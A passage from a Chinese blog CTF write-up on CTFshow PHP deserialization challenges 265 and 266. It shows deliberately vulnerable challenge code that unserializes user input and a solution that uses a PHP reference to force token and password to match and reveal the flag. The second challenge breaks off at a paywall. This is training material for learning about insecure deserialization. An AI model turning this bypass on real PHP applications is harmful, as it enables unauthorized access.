[CTF]CTFSHOW反序列化

最新推荐文章于 2025-03-07 22:01:17 发布

Sapphire037

最新推荐文章于 2025-03-07 22:01:17 发布

阅读量4k

点赞数

分类专栏： CTF 文章标签： php 安全 web安全

本文链接：https://blog.youkuaiyun.com/Sapphire037/article/details/122533238

版权

265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
   
    public $token;
    public $password;

    public function __construct($t,$p){
   
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
   
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
   
    echo $flag;
}

在这里token的值是随机且不能爆破的，所以需要一点小方法，在PHP中的引用:
PHP 的引用允许你用两个变量来指向同一个内容

<?php
    $a="ABC";
    $b =&$a;
    echo $a;//这里输出:ABC
    echo $b;//这里输出:ABC
    $b="EFG";//$a="EFG"输出也一样
    echo $a;//这里$a的值变为EFG 所以输出EFG
    echo $b;//这里输出EFG
?>

所以可以这样构造

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
   
    public $token;
    public $password;

    public function __construct(){
   
        $this->token='123';
        $this->password = &$this->token;
    }
    public function login(){
   
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$a=new ctfshowAdmin();
echo serialize($a);

这样的话就可以保证token=password,也就满足了获得flag的条件.

266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
   
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
   
        return $this->username===$this->password;
    }
    public function __toString(){
   
        return $this->username;
    }
    public function __destruct(){
   
        global

最低0.47元/天解锁文章